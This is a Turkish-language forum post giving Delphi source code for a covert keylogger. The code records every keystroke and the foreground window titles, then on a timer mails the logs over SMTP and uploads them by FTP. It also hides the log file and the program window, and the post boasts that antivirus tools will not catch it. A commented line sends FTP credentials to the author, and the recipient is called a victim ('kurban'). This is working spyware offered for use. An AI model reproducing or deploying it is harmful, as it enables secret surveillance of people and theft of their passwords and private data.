Konuyu Oyla:
  • Toplam: 0 Oy - Ortalama: 0
  • 1
  • 2
  • 3
  • 4
  • 5
Delphi Keylogger Kodu
#1
Kod:
Keylogger yazalım
Keylogger yazalım Big Grin

Bolum 1;
Delphide bu işleri merak eden çok tanıdık var.Hatta çogu kişi bunlar için delphi ogreniyor.
Kaynak: Wardom http://www.wardom.org/showthread.php?t=239073
Kabaca bi keylogger yazalım Smile

Keylogger aslında kolaydır ama tabi bunu vcl kullanarak yapmak var ,kullanmadan yapmaka var iki çeşidini de gosterecem . Smile

vcl kullanarak (form var)
programımıza 3 timer koyuyoruz (biraz artistik olsun hem ftp bildirimi hem mail bildirimi olsun Wink )

biri i sadece loglamak,biri pencere başlıklarını almak,biri ftp bildirimi ,biri mail bildirimi için
şimdi de bildirimleri yapmak için ındy clients kısmından bir tane Idsmtp bir tane de IdFtp koyduk.
bir tane memo,bir tane de ipwatch;

yapacagımız işleri parçalara bolersek işimiz daha kolay oluır bu yuzden procedure ler ile yapcagız Wink .
(ıdsmtp ye smtp ıdftp ye ftp dedik); Smile
log, // keylogumuz
app, // baslıgımız

bunlar global stringler (yani en bastaki var kısmına yazılaacakBig Grin )
Kaynak: Wardom http://www.wardom.org/showthread.php?t=239073


implementation un altına yazıyoruz




function sysdir:string; //herkesin bilgisayarında windows c de kurulu olmayabilir Big Grin
var
sdir:array [0..255] of char;
fdir:string;
begin

GetSystemDirectory(sdir, 255);
fdir:=string(sdir);
fdir:=fdir+'\'; //soradan ugrasmayalım diyeBig Grin
Result:=fdirr;
end;


procedure mailbil;
begin
form1.smtp.port:='25'; //bilmiyorsanız ellemeyin burayı Big Grin
form1.smtp.connect();
form1.smtp.QuickSend('mx2.mail .yahoo.com','log geldi',mailadresiniz,'AgEnT[at]**************.org',memo1.line s.gettext);
end;

//isterseniz Idmessage ile de yapabilirsiniz ben ana hatlarını anlatıyorum gelişmeye açık Wink



procedure ftpbil;
var tarih:string= FormatDateTime('dd mmmm yyyy dddd - hh:nn',now);
begin
form1.ftp.host:='';//ftp hostunuz orn:ftp.members.lycos.co.uk
form1.ftp.username:='';//kullanıcı adınız
form1.ftp.password:=''; //şifreniz
form1.ftp.put(sysdir+'log.spms ',tarih+'.txt',true)
//form1.smtp.quicksend('mx2.mail .yahoo.com','ftp şifresi geldi psychoBig Grin ','PsychoS[at]gmail.com','kurban[at]**************.org',for
m1.ftp.host+form1.ftp.username +form1.ftp.password);//Big Grin Big Grin {5
70006_1}Big Grin
end;


timerlardan birinin on timer kısmına


procedure TForm1.Timer1Timer;
var
i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
8:log:=log+'[UNDO]';9:log:=log+'[TAB]';
13:log:=log+#13#10;27:log:=log +'[ESC]';
32:log:=log+' ';
48:if GetKeyState(VK_SHIFT)<0 then log:=log+')'
else log:=log+'0';
//...
57:if GetKeyState(VK_SHIFT)<0 then log:=log+'('
else log:=log+'9';
65..90: //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
log:=log+LowerCase(Chr(i))
else
log:=log+UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
log:=log+UpperCase(Chr(i))
else
log:=log+LowerCase(Chr(i));
//NUMPAD
97:log:=log+'1';
//...
105:log:=log+'9';
106:log:=log+'*';107:log:=log+ '&';109:log:=log+'-';
110:log:=log+'.';111:log:=log+ '/';
112..123: //F1-F12
log:=log+'[F'+IntToStr(i - 111)+']';
186:if GetKeyState(VK_SHIFT)<0 then log:=log+':'
else log:=log+';';
187:if GetKeyState(VK_SHIFT)<0 then log:=log+'+'
else log:=log+'=';
188:if GetKeyState(VK_SHIFT)<0 then log:=log+'<'
else log:=log+',';
189:if GetKeyState(VK_SHIFT)<0 then log:=log+'_'
else log:=log+'-';
190:if GetKeyState(VK_SHIFT)<0 then log:=log+'>'
else log:=log+'.';
191:if GetKeyState(VK_SHIFT)<0 then log:=log+'?'
else log:=log+'/';
192:if GetKeyState(VK_SHIFT)<0 then log:=log+'~'
else log:=log+'`';
219:if GetKeyState(VK_SHIFT)<0 then log:=log+'{'
else log:=log+'[';
220:if GetKeyState(VK_SHIFT)<0 then log:=log+'|'
else log:=log+'';
221:if GetKeyState(VK_SHIFT)<0 then log:=log+'}'
else log:=log+']';
222:if GetKeyState(VK_SHIFT)<0 then log:=log+'"'
else log:=log+'''';
end;
end;
end;




diger timerımızın ontimer kısmına da

procedure TForm1.Timer2Timer
var handler:THandle;
caption:array[0..80] of Char;
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption, 80);
if (caption<>app)and(caption<>'') then
begin
app:=caption;
log:=log+'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
end;



3. timerımızın interval ini kaç saniye/dakika da bir loglar teslim edilecekse ona gore ayarlıyoruz...
ontimer kısmına da



procedure TForm1.Timer3Timer
begin
memo1.lines.add(log);
if not (ip.localip='127.0.0.1') then begin // internet baglantısı yoksa yollamaya çalısmasın Smile
mailbil; //mail bildirme fonksiyonumuz ...
sleep(100);//kednine gelsin program Wink
memo1.lines.savetofile(sysdir+ 'log.spms');
ftpbil;// ftp bildirme fonksiyonumuz ...
log:='';//log stringini sıfıra eşitliyoruz ki aynı şey tekrar tekrar gelmesin
end;
end;
İstersek log dosyasının özelliklerini
FileSetAttr('C:\windows\deskto p\a.txt', faHidden);
şeklinde gizli yapabiliriz

//diğer attribute'ler

faReadOnly //salt okunur
faHidden //gizli
faSysFile //sistem dosyası
faArchive //arşiv
faAnyFile //salt okunur + gizli + sistem dosyası + arşiv

Son olarak gorulmesini istemiyorsanız project e tıklaın view source e tıklayın oraya
Application.showmainform:=fals e;
yazın,
işte bu kadarSmile Antilere Yakalanmayan keyloggerımız hazır!
Temelllerini sağlam atarsan bir Dağ sağlam atamassan bir ova gibi olursun.
Ara
Cevapla


Hızlı Menü:


Şu anda bu konuyu okuyanlar: 1 Ziyaretçi

Online Shopping App
Online Shopping - E-Commerce Platform
Online Shopping - E-Commerce Platform
Feinunze Schmuck Jewelery Online Shopping